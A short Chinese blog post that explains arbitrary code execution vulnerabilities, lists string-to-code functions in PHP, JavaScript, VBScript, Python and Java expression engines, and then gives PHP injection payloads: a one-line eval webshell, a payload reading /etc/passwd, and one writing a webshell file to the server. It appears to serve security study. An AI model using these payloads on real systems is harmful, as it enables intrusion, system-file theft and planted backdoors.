美文网首页
任意代码执行

任意代码执行

作者: hjGamma | 来源:发表于2023-04-14 09:56 被阅读0次

任意代码执行

应用程序在调用一些函数时,此类函数可以将字符串转化为代码,从而导致任意代码执行
PHP:eval、assert 、preg_replace( ) + /e 模式(PHP版本 < 5.5.0)
Javascript:eval
Vbscript: Execute、Eval
Python:exec
Java:Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等,这些都能造成代码执行漏洞

任意代码

一句话木马: {@eval(_POST[1])}
获取当前工作路径: {exit(print(getcwd()))} 读文件:{exit(var_dump(file_get_contents(_POST[f])))} f=/etc/passwd 写webshell:{exit(var_dump(file_put_contents(_POST[f],_POST[d])))} f=1.php&d=1111111

相关文章

网友评论

      本文标题:任意代码执行

      本文链接:https://www.haomeiwen.com/subject/ghloddtx.html